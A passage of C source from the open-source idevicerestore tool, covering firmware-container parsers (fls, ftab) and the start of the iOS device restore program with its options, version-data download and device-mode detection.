offsetof(fls_0c_element, data); // update offset ((fls_0c_element*)fls->elements[i])->offset = offset+hdrsize; // copy first part of data firstpartlen = fls->elements[i]->size - hdrsize - oldsiglen; memcpy(newdata+offset+hdrsize, ((fls_0c_element*)fls->elements[i])->data, firstpartlen); // copy new signature data memcpy(newdata+offset+hdrsize+firstpartlen, sigdata, siglen); ((fls_0c_element*)fls->elements[i])->data = newdata+offset+hdrsize; fls->elements[i]->size -= oldsiglen; fls->elements[i]->size += siglen; ((fls_0c_element*)fls->elements[i])->data_size -= oldsiglen; ((fls_0c_element*)fls->elements[i])->data_size += siglen; memcpy(newdata+offset+hdrsize+0x10, &(((fls_0c_element*)fls->elements[i])->data_size), 4); // copy header memcpy(newdata+offset, fls->elements[i], hdrsize); break; case 0x10: hdrsize = offsetof(fls_10_element, data); // update offset ((fls_10_element*)fls->elements[i])->offset = offset+hdrsize; // copy header memcpy(newdata+offset, fls->elements[i], hdrsize); // copy data if (fls->elements[i]->size > hdrsize) { memcpy(newdata+offset+hdrsize, ((fls_10_element*)fls->elements[i])->data, fls->elements[i]->size - hdrsize); ((fls_10_element*)fls->elements[i])->data = newdata+offset+hdrsize; } else { ((fls_10_element*)fls->elements[i])->data = NULL; } break; case 0x14: hdrsize = offsetof(fls_14_element, data); // update offset ((fls_14_element*)fls->elements[i])->offset = offset+hdrsize; // copy header memcpy(newdata+offset, fls->elements[i], hdrsize); // copy data if (fls->elements[i]->size > hdrsize) { memcpy(newdata+offset+hdrsize, ((fls_14_element*)fls->elements[i])->data, fls->elements[i]->size - hdrsize); ((fls_14_element*)fls->elements[i])->data = newdata+offset+hdrsize; } else { ((fls_14_element*)fls->elements[i])->data = NULL; } break; default: hdrsize = offsetof(fls_element, data); // copy header memcpy(newdata+offset, fls->elements[i], hdrsize); // copy data if (fls->elements[i]->size > hdrsize) { memcpy(newdata+offset+hdrsize, fls->elements[i]->data, fls->elements[i]->size - hdrsize); fls->elements[i]->data = newdata+offset+hdrsize; } else { fls->elements[i]->data = NULL; } break; } offset += fls->elements[i]->size; } if (fls->data) { free(fls->data); } fls->data = newdata; fls->size = newsize; return 0; } int fls_insert_ticket(fls_file* fls, const unsigned char* data, unsigned int size) { /* FIXME: the code in this function is not big endian safe */ if (!fls || !fls->num_elements) { error("ERROR: %s: no data\n", __func__); return -1; } if (!fls->c_element) { error("ERROR: %s: no fls_0c_element in fls data\n", __func__); return -1; } uint32_t padding = 0; if (size%4 != 0) { padding = 4-(size%4); } uint32_t newsize = fls->size + size + padding; unsigned int i; uint32_t offset = 0; void* newdata = malloc(newsize); if (!newdata) { error("ERROR: %s: out of memory\n", __func__); return -1; } uint32_t hdrsize = 0; for (i = 0; i < fls->num_elements; i++) { switch (fls->elements[i]->type) { case 0x0c: hdrsize = offsetof(fls_0c_element, data); // update offset ((fls_0c_element*)fls->elements[i])->offset = offset+hdrsize; // copy ticket data memcpy(newdata+offset+hdrsize, data, size); if (padding > 0) { // padding memset(newdata+offset+hdrsize+size, '\xFF', padding); } // copy remaining data memcpy(newdata+offset+hdrsize+size+padding, ((fls_0c_element*)fls->elements[i])->data, fls->elements[i]->size); ((fls_0c_element*)fls->elements[i])->data = newdata+offset+hdrsize; fls->elements[i]->size += (size + padding); ((fls_0c_element*)fls->elements[i])->data_size += (size + padding); // copy header memcpy(newdata+offset, fls->elements[i], hdrsize); break; case 0x10: hdrsize = offsetof(fls_10_element, data); // update offset ((fls_10_element*)fls->elements[i])->offset = offset+hdrsize; // copy header memcpy(newdata+offset, fls->elements[i], hdrsize); // copy data if (fls->elements[i]->size > hdrsize) { memcpy(newdata+offset+hdrsize, ((fls_10_element*)fls->elements[i])->data, fls->elements[i]->size - hdrsize); ((fls_10_element*)fls->elements[i])->data = newdata+offset+hdrsize; } else { ((fls_10_element*)fls->elements[i])->data = NULL; } break; case 0x14: hdrsize = offsetof(fls_14_element, data); // update offset ((fls_14_element*)fls->elements[i])->offset = offset+hdrsize; // copy header memcpy(newdata+offset, fls->elements[i], hdrsize); // copy data if (fls->elements[i]->size > hdrsize) { memcpy(newdata+offset+hdrsize, ((fls_14_element*)fls->elements[i])->data, fls->elements[i]->size - hdrsize); ((fls_14_element*)fls->elements[i])->data = newdata+offset+hdrsize; } else { ((fls_14_element*)fls->elements[i])->data = NULL; } break; default: hdrsize = offsetof(fls_element, data); // copy header memcpy(newdata+offset, fls->elements[i], hdrsize); // copy data if (fls->elements[i]->size > hdrsize) { memcpy(newdata+offset+hdrsize, fls->elements[i]->data, fls->elements[i]->size - hdrsize); fls->elements[i]->data = newdata+offset+hdrsize; } else { fls->elements[i]->data = NULL; } break; } offset += fls->elements[i]->size; } if (fls->data) { free(fls->data); } fls->data = newdata; fls->size = newsize; return 0; } idevicerestore-master/src/fls.h000066400000000000000000000046461464320324600171250ustar00rootroot00000000000000/* * fls.h * support for .fls file format (found in .bbfw files) * * Copyright (c) 2012 Nikias Bassen. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef FLS_H #define FLS_H #include struct _fls_element { uint32_t type; uint32_t size; uint32_t empty; const unsigned char* data; } __attribute__((packed)); typedef struct _fls_element fls_element; struct _fls_0c_element { uint32_t type; uint32_t size; uint32_t empty; uint32_t off_0x0c; uint32_t off_0x10; uint32_t off_0x14; uint32_t off_0x18; uint32_t data_size; // size without header uint32_t off_0x20; uint32_t offset; // absolute offset of data in file const unsigned char* data; // data+0x14 contains offset to sig blob } __attribute__((packed)); typedef struct _fls_0c_element fls_0c_element; struct _fls_10_element { uint32_t type; uint32_t size; uint32_t empty; uint32_t data_size; // size without header uint32_t off_0x10; uint32_t offset; const unsigned char* data; } __attribute__((packed)); typedef struct _fls_10_element fls_10_element; struct _fls_14_element { uint32_t type; uint32_t size; uint32_t empty; uint32_t data_size; // size without header uint32_t off_0x10; uint32_t offset; const unsigned char* data; } __attribute__((packed)); typedef struct _fls_14_element fls_14_element; typedef struct { unsigned int num_elements; unsigned int max_elements; fls_element** elements; const fls_0c_element* c_element; void* data; uint32_t size; } fls_file; fls_file* fls_parse(unsigned char* data, unsigned int size); void fls_free(fls_file* fls); int fls_update_sig_blob(fls_file* fls, const unsigned char* data, unsigned int size); int fls_insert_ticket(fls_file* fls, const unsigned char* data, unsigned int size); #endif idevicerestore-master/src/ftab.c000066400000000000000000000140511464320324600172370ustar00rootroot00000000000000/* * ftab.c * Functions for handling the ftab format * * Copyright (c) 2019 Nikias Bassen. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include #include #include #include #include "ftab.h" #include "common.h" #include "endianness.h" int ftab_parse(unsigned char *data, unsigned int data_size, ftab_t *ftab, uint32_t *tag) { if (!data || !data_size || !ftab) { return -1; } if (data_size < sizeof(struct ftab_header)) { error("ERROR: %s: Buffer too small for ftab data\n", __func__); return -1; } struct ftab_header *hdr_ptr = (struct ftab_header*)data; if (be32toh(hdr_ptr->magic) != 'ftab') { error("ERROR: %s: Unexpected magic value 0x%08x\n", __func__, le32toh(hdr_ptr->magic)); return -1; } /* copy header */ ftab_t ftab_new = (ftab_t)calloc(1, sizeof(struct ftab_fmt)); memcpy(&ftab_new->header, data, sizeof(struct ftab_header)); ftab_new->header.always_01 = le32toh(ftab_new->header.always_01); ftab_new->header.always_ff = le32toh(ftab_new->header.always_ff); ftab_new->header.tag = be32toh(ftab_new->header.tag); if (tag) { *tag = ftab_new->header.tag; } ftab_new->header.magic = be32toh(ftab_new->header.magic); ftab_new->header.num_entries = le32toh(ftab_new->header.num_entries); /* copy entries */ ftab_new->entries = (struct ftab_entry*)malloc(sizeof(struct ftab_entry) * ftab_new->header.num_entries); memcpy(ftab_new->entries, data + sizeof(struct ftab_header), sizeof(struct ftab_entry) * ftab_new->header.num_entries); /* create data storage */ ftab_new->storage = (unsigned char**)calloc(ftab_new->header.num_entries, sizeof(unsigned char*)); /* fill data storage */ uint32_t i = 0; for (i = 0; i < ftab_new->header.num_entries; i++) { ftab_new->entries[i].tag = be32toh(ftab_new->entries[i].tag); ftab_new->entries[i].offset = le32toh(ftab_new->entries[i].offset); ftab_new->entries[i].size = le32toh(ftab_new->entries[i].size); ftab_new->storage[i] = malloc(ftab_new->entries[i].size); memcpy(ftab_new->storage[i], data + ftab_new->entries[i].offset, ftab_new->entries[i].size); } *ftab = ftab_new; return 0; } int ftab_get_entry_ptr(ftab_t ftab, uint32_t tag, unsigned char **data, unsigned int *data_size) { if (!ftab || !tag || !data || !data_size) { return -1; } uint32_t i; int res = -1; for (i = 0; i < ftab->header.num_entries; i++) { if (ftab->entries[i].tag == tag) { *data = ftab->storage[i]; *data_size = ftab->entries[i].size; res = 0; } } return res; } int ftab_add_entry(ftab_t ftab, uint32_t tag, unsigned char *data, unsigned int data_size) { if (!ftab || !tag || !data || !data_size) { return -1; } uint32_t new_index = ftab->header.num_entries; struct ftab_entry *new_entries = realloc(ftab->entries, sizeof(struct ftab_entry) * (ftab->header.num_entries + 1)); if (!new_entries) { error("ERROR: %s: realloc failed!\n", __func__); return -1; } ftab->entries = new_entries; unsigned char **new_storage = realloc(ftab->storage, sizeof(unsigned char*) * (ftab->header.num_entries + 1)); if (!new_storage) { error("ERROR: %s: realloc failed!\n", __func__); return -1; } ftab->storage = new_storage; unsigned char *data_copy = (unsigned char*)malloc(data_size); if (!data_copy) { return -1; } memcpy(data_copy, data, data_size); ftab->storage[new_index] = data_copy; ftab->entries[new_index].tag = tag; ftab->entries[new_index].size = data_size; ftab->header.num_entries++; uint32_t off = sizeof(struct ftab_header) + sizeof(struct ftab_entry) * ftab->header.num_entries; uint32_t i; for (i = 0; i < ftab->header.num_entries; i++) { ftab->entries[i].offset = off; off += ftab->entries[i].size; } return 0; } int ftab_write(ftab_t ftab, unsigned char **data, unsigned int *data_size) { uint32_t i; unsigned int total_size = sizeof(struct ftab_header); total_size += ftab->header.num_entries * sizeof(struct ftab_entry); for (i = 0; i < ftab->header.num_entries; i++) { total_size += ftab->entries[i].size; } unsigned char *data_out = (unsigned char*)malloc(total_size); if (!data_out) { error("ERROR: %s: Out of memory?!\n", __func__); return -1; } struct ftab_header *ftab_header = (struct ftab_header*)data_out; memset(ftab_header, '\0', sizeof(struct ftab_header)); ftab_header->always_01 = htole32(ftab->header.always_01); ftab_header->always_ff = htole32(ftab->header.always_ff); ftab_header->tag = htobe32(ftab->header.tag); ftab_header->magic = htobe32(ftab->header.magic); ftab_header->num_entries = htole32(ftab->header.num_entries); for (i = 0; i < ftab->header.num_entries; i++) { struct ftab_entry* entry = (struct ftab_entry*)(data_out + sizeof(struct ftab_header) + (sizeof(struct ftab_entry) * i)); entry->tag = htobe32(ftab->entries[i].tag); entry->offset = htole32(ftab->entries[i].offset); entry->size = htole32(ftab->entries[i].size); entry->pad_0x0C = 0; } unsigned char *p = data_out + sizeof(struct ftab_header) + (sizeof(struct ftab_entry) * ftab->header.num_entries); for (i = 0; i < ftab->header.num_entries; i++) { memcpy(p, ftab->storage[i], ftab->entries[i].size); p += ftab->entries[i].size; } *data = data_out; *data_size = total_size; return 0; } int ftab_free(ftab_t ftab) { if (!ftab) return -1; uint32_t i = 0; for (i = 0; i < ftab->header.num_entries; i++) { free(ftab->storage[i]); } free(ftab->storage); free(ftab->entries); free(ftab); return 0; } idevicerestore-master/src/ftab.h000066400000000000000000000037161464320324600172520ustar00rootroot00000000000000/* * ftab.h * Functions for handling the ftab format * * Copyright (c) 2019 Nikias Bassen. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef IDEVICERESTORE_FTAB_H #define IDEVICERESTORE_FTAB_H #ifdef __cplusplus extern "C" { #endif #include struct ftab_header { uint32_t always_01; // 1 uint32_t always_ff; // 0xFFFFFFFF uint32_t unk_0x08; // 0 uint32_t unk_0x0C; // 0 uint32_t unk_0x10; // 0 uint32_t unk_0x14; // 0 uint32_t unk_0x18; // 0 uint32_t unk_0x1C; // 0 uint32_t tag; // e.g. 'rkos' uint32_t magic; // 'ftab' magic uint32_t num_entries; uint32_t pad_0x2C; }; struct ftab_entry { uint32_t tag; uint32_t offset; uint32_t size; uint32_t pad_0x0C; }; struct ftab_fmt { struct ftab_header header; struct ftab_entry *entries; unsigned char **storage; }; typedef struct ftab_fmt *ftab_t; int ftab_parse(unsigned char *data, unsigned int data_size, ftab_t *ftab, uint32_t *tag); int ftab_get_entry_ptr(ftab_t ftab, uint32_t tag, unsigned char **data, unsigned int *data_size); int ftab_add_entry(ftab_t ftab, uint32_t tag, unsigned char *data, unsigned int data_size); int ftab_write(ftab_t ftab, unsigned char **data, unsigned int *data_size); int ftab_free(ftab_t ftab); #ifdef __cplusplus } #endif #endif idevicerestore-master/src/idevicerestore.c000066400000000000000000002621121464320324600213420ustar00rootroot00000000000000/* * idevicerestore.c * Restore device firmware and filesystem * * Copyright (c) 2012-2019 Nikias Bassen. All Rights Reserved. * Copyright (c) 2010-2015 Martin Szulecki. All Rights Reserved. * Copyright (c) 2010 Joshua Hill. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "ace3.h" #include "dfu.h" #include "img3.h" #include "img4.h" #include "ipsw.h" #include "common.h" #include "normal.h" #include "restore.h" #include "download.h" #include "recovery.h" #include "idevicerestore.h" #include "limera1n.h" #include "locking.h" #define VERSION_XML "version.xml" #ifndef IDEVICERESTORE_NOMAIN static struct option longopts[] = { { "ecid", required_argument, NULL, 'i' }, { "udid", required_argument, NULL, 'u' }, { "debug", no_argument, NULL, 'd' }, { "help", no_argument, NULL, 'h' }, { "erase", no_argument, NULL, 'e' }, { "custom", no_argument, NULL, 'c' }, { "latest", no_argument, NULL, 'l' }, { "server", required_argument, NULL, 's' }, { "exclude", no_argument, NULL, 'x' }, { "shsh", no_argument, NULL, 't' }, { "keep-pers", no_argument, NULL, 'k' }, { "pwn", no_argument, NULL, 'p' }, { "no-action", no_argument, NULL, 'n' }, { "cache-path", required_argument, NULL, 'C' }, { "no-input", no_argument, NULL, 'y' }, { "plain-progress", no_argument, NULL, 'P' }, { "restore-mode", no_argument, NULL, 'R' }, { "ticket", required_argument, NULL, 'T' }, { "no-restore", no_argument, NULL, 'z' }, { "version", no_argument, NULL, 'v' }, { "ipsw-info", no_argument, NULL, 'I' }, { "ignore-errors", no_argument, NULL, 1 }, { "variant", required_argument, NULL, 2 }, { NULL, 0, NULL, 0 } }; static void usage(int argc, char* argv[], int err) { char* name = strrchr(argv[0], '/'); fprintf((err) ? stderr : stdout, "Usage: %s [OPTIONS] PATH\n" \ "\n" \ "Restore IPSW firmware at PATH to an iOS device.\n" \ "\n" \ "PATH can be a compressed .ipsw file or a directory containing all files\n" \ "extracted from an IPSW.\n" \ "\n" \ "OPTIONS:\n" \ " -i, --ecid ECID Target specific device by its ECID\n" \ " e.g. 0xaabb123456 (hex) or 1234567890 (decimal)\n" \ " -u, --udid UDID Target specific device by its device UDID\n" \ " NOTE: only works with devices in normal mode.\n" \ " -l, --latest Use latest available firmware (with download on demand).\n" \ " Before performing any action it will interactively ask\n" \ " to select one of the currently signed firmware versions,\n" \ " unless -y has been given too.\n" \ " The PATH argument is ignored when using this option.\n" \ " DO NOT USE if you need to preserve the baseband/unlock!\n" \ " USE WITH CARE if you want to keep a jailbreakable\n" \ " firmware!\n" \ " -e, --erase Perform full restore instead of update, erasing all data\n" \ " DO NOT USE if you want to preserve user data on the device!\n" \ " -y, --no-input Non-interactive mode, do not ask for any input.\n" \ " WARNING: This will disable certain checks/prompts that\n" \ " are supposed to prevent DATA LOSS. Use with caution.\n" \ " -n, --no-action Do not perform any restore action. If combined with -l\n" \ " option the on-demand ipsw download is performed before\n" \ " exiting.\n" \ " --ipsw-info Print information about the IPSW at PATH and exit.\n" \ " -h, --help Prints this usage information\n" \ " -C, --cache-path DIR Use specified directory for caching extracted or other\n" \ " reused files.\n" \ " -d, --debug Enable communication debugging\n" \ " -v, --version Print version information\n" \ "\n" \ "Advanced/experimental options:\n" " -c, --custom Restore with a custom firmware (requires bootrom exploit)\n" \ " -s, --server URL Override default signing server request URL\n" \ " -x, --exclude Exclude nor/baseband upgrade (legacy devices)\n" \ " -t, --shsh Fetch TSS record and save to .shsh file, then exit\n" \ " -z, --no-restore Do not restore and end after booting to the ramdisk\n" \ " -k, --keep-pers Write personalized components to files for debugging\n" \ " -p, --pwn Put device in pwned DFU mode and exit (limera1n devices)\n" \ " -P, --plain-progress Print progress as plain step and progress\n" \ " -R, --restore-mode Allow restoring from Restore mode\n" \ " -T, --ticket PATH Use file at PATH to send as AP ticket\n" \ " --variant VARIANT Use given VARIANT to match the build identity to use,\n" \ " e.g. 'Customer Erase Install (IPSW)'\n" \ " --ignore-errors Try to continue the restore process after certain\n" \ " errors (like a failed baseband update)\n" \ " WARNING: This might render the device unable to boot\n" \ " or only partially functioning. Use with caution.\n" \ "\n" \ "Homepage: <" PACKAGE_URL ">\n" \ "Bug Reports: <" PACKAGE_BUGREPORT ">\n", (name ? name + 1 : argv[0])); } #endif const uint8_t lpol_file[22] = { 0x30, 0x14, 0x16, 0x04, 0x49, 0x4d, 0x34, 0x50, 0x16, 0x04, 0x6c, 0x70, 0x6f, 0x6c, 0x16, 0x03, 0x31, 0x2e, 0x30, 0x04, 0x01, 0x00 }; const uint32_t lpol_file_length = 22; static int idevicerestore_keep_pers = 0; static int load_version_data(struct idevicerestore_client_t* client) { if (!client) { return -1; } struct stat fst; int cached = 0; char version_xml[1024]; if (client->cache_dir) { if (stat(client->cache_dir, &fst) < 0) { mkdir_with_parents(client->cache_dir, 0755); } strcpy(version_xml, client->cache_dir); strcat(version_xml, "/"); strcat(version_xml, VERSION_XML); } else { strcpy(version_xml, VERSION_XML); } if ((stat(version_xml, &fst) < 0) || ((time(NULL)-86400) > fst.st_mtime)) { char version_xml_tmp[1024]; strcpy(version_xml_tmp, version_xml); strcat(version_xml_tmp, ".tmp"); if (download_to_file("http://itunes.apple.com/check/version", version_xml_tmp, 0) == 0) { remove(version_xml); if (rename(version_xml_tmp, version_xml) < 0) { error("ERROR: Could not update '%s'\n", version_xml); } else { info("NOTE: Updated version data.\n"); } } } else { cached = 1; } char *verbuf = NULL; size_t verlen = 0; read_file(version_xml, (void**)&verbuf, &verlen); if (!verbuf) { error("ERROR: Could not load '%s'\n", version_xml); return -1; } client->version_data = NULL; plist_from_xml(verbuf, verlen, &client->version_data); free(verbuf); if (!client->version_data) { remove(version_xml); error("ERROR: Cannot parse plist data from '%s'.\n", version_xml); return -1; } if (cached) { info("NOTE: using cached version data\n"); } return 0; } static int32_t get_version_num(const char *s_ver) { int vers[3] = {0, 0, 0}; if (sscanf(s_ver, "%d.%d.%d", &vers[0], &vers[1], &vers[2]) >= 2) { return ((vers[0] & 0xFF) << 16) | ((vers[1] & 0xFF) << 8) | (vers[2] & 0xFF); } return 0x00FFFFFF; } static int compare_versions(const char *s_ver1, const char *s_ver2) { return (get_version_num(s_ver1) & 0xFFFF00) - (get_version_num(s_ver2) & 0xFFFF00); } static void idevice_event_cb(const idevice_event_t *event, void *userdata) { struct idevicerestore_client_t *client = (struct idevicerestore_client_t*)userdata; #ifdef HAVE_ENUM_IDEVICE_CONNECTION_TYPE if (event->conn_type != CONNECTION_USBMUXD) { // ignore everything but devices connected through USB return; } #endif if (event->event == IDEVICE_DEVICE_ADD) { if (client->ignore_device_add_events) { return; } if (normal_check_mode(client) == 0) { mutex_lock(&client->device_event_mutex); client->mode = MODE_NORMAL; debug("%s: device %016" PRIx64 " (udid: %s) connected in normal mode\n", __func__, client->ecid, client->udid); cond_signal(&client->device_event_cond); mutex_unlock(&client->device_event_mutex); } else if (client->ecid && restore_check_mode(client) == 0) { mutex_lock(&client->device_event_mutex); client->mode = MODE_RESTORE; debug("%s: device %016" PRIx64 " (udid: %s) connected in restore mode\n", __func__, client->ecid, client->udid); cond_signal(&client->device_event_cond); mutex_unlock(&client->device_event_mutex); } } else if (event->event == IDEVICE_DEVICE_REMOVE) { if (client->udid && !strcmp(event->udid, client->udid)) { mutex_lock(&client->device_event_mutex); client->mode = MODE_UNKNOWN; debug("%s: device %016" PRIx64 " (udid: %s) disconnected\n", __func__, client->ecid, client->udid); client->ignore_device_add_events = 0; cond_signal(&client->device_event_cond); mutex_unlock(&client->device_event_mutex); } } } static void irecv_event_cb(const irecv_device_event_t* event, void *userdata) { struct idevicerestore_client_t *client = (struct idevicerestore_client_t*)userdata; if (event->type == IRECV_DEVICE_ADD) { if (!client->udid && !client->ecid) { client->ecid = event->device_info->ecid; } if (client->ecid && event->device_info->ecid == client->ecid) { mutex_lock(&client->device_event_mutex); switch (event->mode) { case IRECV_K_WTF_MODE: client->mode = MODE_WTF; break; case IRECV_K_DFU_MODE: client->mode = MODE_DFU; break; case IRECV_K_PORT_DFU_MODE: client->mode = MODE_PORTDFU; break; case IRECV_K_RECOVERY_MODE_1: case IRECV_K_RECOVERY_MODE_2: case IRECV_K_RECOVERY_MODE_3: case IRECV_K_RECOVERY_MODE_4: client->mode = MODE_RECOVERY; break; default: client->mode = MODE_UNKNOWN; } debug("%s: device %016" PRIx64 " (udid: %s) connected in %s mode\n", __func__, client->ecid, (client->udid) ? client->udid : "N/A", client->mode->string); cond_signal(&client->device_event_cond); mutex_unlock(&client->device_event_mutex); } } else if (event->type == IRECV_DEVICE_REMOVE) { if (client->ecid && event->device_info->ecid == client->ecid) { mutex_lock(&client->device_event_mutex); client->mode = MODE_UNKNOWN; debug("%s: device %016" PRIx64 " (udid: %s) disconnected\n", __func__, client->ecid, (client->udid) ? client->udid : "N/A"); if (event->mode == IRECV_K_PORT_DFU_MODE) { // We have to reset the ECID here if a port DFU device disconnects, // because when the device reconnects in a different mode, it will // have the actual device ECID and wouldn't get detected. client->ecid = 0; } cond_signal(&client->device_event_cond); mutex_unlock(&client->device_event_mutex); } } } int build_identity_check_components_in_ipsw(plist_t build_identity, ipsw_archive_t ipsw); int idevicerestore_start(struct idevicerestore_client_t* client) { int tss_enabled = 0; int result = 0; if (!client) { return -1; } if ((client->flags & FLAG_LATEST) && (client->flags & FLAG_CUSTOM)) { error("ERROR: FLAG_LATEST cannot be used with FLAG_CUSTOM.\n"); return -1; } if (!client->ipsw && !(client->flags & FLAG_PWN) && !(client->flags & FLAG_LATEST)) { error("ERROR: no ipsw file given\n"); return -1; } if (client->debug_level > 0) { idevicerestore_debug = 1; if (client->debug_level > 1) { idevice_set_debug_level(1); irecv_set_debug_level(1); } tss_set_debug_level(client->debug_level); } idevicerestore_progress(client, RESTORE_STEP_DETECT, 0.0); irecv_device_event_subscribe(&client->irecv_e_ctx, irecv_event_cb, client); idevice_event_subscribe(idevice_event_cb, client); client->idevice_e_ctx = idevice_event_cb; // check which mode the device is currently in so we know where to start mutex_lock(&client->device_event_mutex); if (client->mode == MODE_UNKNOWN) { cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 10000); if (client->mode == MODE_UNKNOWN || (client->flags & FLAG_QUIT)) { mutex_unlock(&client->device_event_mutex); error("ERROR: Unable to discover device mode. Please make sure a device is attached.\n"); return -1; } } idevicerestore_progress(client, RESTORE_STEP_DETECT, 0.1); info("Found device in %s mode\n", client->mode->string); mutex_unlock(&client->device_event_mutex); if (client->mode == MODE_WTF) { unsigned int cpid = 0; if (dfu_client_new(client) != 0) { error("ERROR: Could not open device in WTF mode\n"); return -1; } if ((dfu_get_cpid(client, &cpid) < 0) || (cpid == 0)) { error("ERROR: Could not get CPID for WTF mode device\n"); dfu_client_free(client); return -1; } char wtfname[256]; sprintf(wtfname, "Firmware/dfu/WTF.s5l%04xxall.RELEASE.dfu", cpid); unsigned char* wtftmp = NULL; unsigned int wtfsize = 0; // Prefer to get WTF file from the restore IPSW ipsw_extract_to_memory(client->ipsw, wtfname, &wtftmp, &wtfsize); if (!wtftmp) { // update version data (from cache, or apple if too old) load_version_data(client); // Download WTF IPSW char* s_wtfurl = NULL; plist_t wtfurl = plist_access_path(client->version_data, 7, "MobileDeviceSoftwareVersionsByVersion", "5", "RecoverySoftwareVersions", "WTF", "304218112", "5", "FirmwareURL"); if (wtfurl && (plist_get_node_type(wtfurl) == PLIST_STRING)) { plist_get_string_val(wtfurl, &s_wtfurl); } if (!s_wtfurl) { info("Using hardcoded x12220000_5_Recovery.ipsw URL\n"); s_wtfurl = strdup("http://appldnld.apple.com.edgesuite.net/content.info.apple.com/iPhone/061-6618.20090617.Xse7Y/x12220000_5_Recovery.ipsw"); } // make a local file name char* fnpart = strrchr(s_wtfurl, '/'); if (!fnpart) { fnpart = (char*)"x12220000_5_Recovery.ipsw"; } else { fnpart++; } struct stat fst; char wtfipsw[1024]; if (client->cache_dir) { if (stat(client->cache_dir, &fst) < 0) { mkdir_with_parents(client->cache_dir, 0755); } strcpy(wtfipsw, client->cache_dir); strcat(wtfipsw, "/"); strcat(wtfipsw, fnpart); } else { strcpy(wtfipsw, fnpart); } if (stat(wtfipsw, &fst) != 0) { download_to_file(s_wtfurl, wtfipsw, 0); } ipsw_archive_t wtf_ipsw = ipsw_open(wtfipsw); ipsw_extract_to_memory(wtf_ipsw, wtfname, &wtftmp, &wtfsize); ipsw_close(wtf_ipsw); if (!wtftmp) { error("ERROR: Could not extract WTF\n"); } } mutex_lock(&client->device_event_mutex); if (wtftmp) { if (dfu_send_buffer(client, wtftmp, wtfsize) != 0) { error("ERROR: Could not send WTF...\n"); } } dfu_client_free(client); free(wtftmp); cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 10000); if (client->mode != MODE_DFU || (client->flags & FLAG_QUIT)) { mutex_unlock(&client->device_event_mutex); /* TODO: verify if it actually goes from 0x1222 -> 0x1227 */ error("ERROR: Failed to put device into DFU from WTF mode\n"); return -1; } mutex_unlock(&client->device_event_mutex); } // discover the device type client->device = get_irecv_device(client); if (client->device == NULL) { error("ERROR: Unable to discover device type\n"); return -1; } if (client->ecid == 0) { error("ERROR: Unable to determine ECID\n"); return -1; } info("ECID: %" PRIu64 "\n", client->ecid); idevicerestore_progress(client, RESTORE_STEP_DETECT, 0.2); info("Identified device as %s, %s\n", client->device->hardware_model, client->device->product_type); if ((client->flags & FLAG_PWN) && (client->mode != MODE_DFU)) { error("ERROR: you need to put your device into DFU mode to pwn it.\n"); return -1; } if (client->mode == MODE_NORMAL) { plist_t pver = normal_get_lockdown_value(client, NULL, "ProductVersion"); if (pver) { plist_get_string_val(pver, &client->device_version); plist_free(pver); } pver = normal_get_lockdown_value(client, NULL, "BuildVersion"); if (pver) { plist_get_string_val(pver, &client->device_build); plist_free(pver); } } info("Device Product Version: %s\n", (client->device_version) ? client->device_version : "N/A"); info("Device Product Build: %s\n", (client->device_build) ? client->device_build : "N/A"); if (client->flags & FLAG_PWN) { recovery_client_free(client); if (client->mode != MODE_DFU) { error("ERROR: Device needs to be in DFU mode for this option.\n"); return -1; } info("connecting to DFU\n"); if (dfu_client_new(client) < 0) { return -1; } if (limera1n_is_supported(client->device)) { info("exploiting with limera1n...\n"); if (limera1n_exploit(client->device, &client->dfu->client) != 0) { error("ERROR: limera1n exploit failed\n"); dfu_client_free(client); return -1; } dfu_client_free(client); info("Device should be in pwned DFU state now.\n"); return 0; } else { dfu_client_free(client); error("ERROR: This device is not supported by the limera1n exploit"); return -1; } } if (client->flags & FLAG_LATEST) { char *fwurl = NULL; unsigned char fwsha1[20]; unsigned char *p_fwsha1 = NULL; plist_t signed_fws = NULL; int res = ipsw_get_signed_firmwares(client->device->product_type, &signed_fws); if (res < 0) { error("ERROR: Could not fetch list of signed firmwares.\n"); return res; } uint32_t count = plist_array_get_size(signed_fws); if (count == 0) { plist_free(signed_fws); error("ERROR: No firmwares are currently being signed for %s (REALLY?!)\n", client->device->product_type); return -1; } plist_t selected_fw = NULL; if (client->flags & FLAG_INTERACTIVE) { uint32_t i = 0; info("The following firmwares are currently being signed for %s:\n", 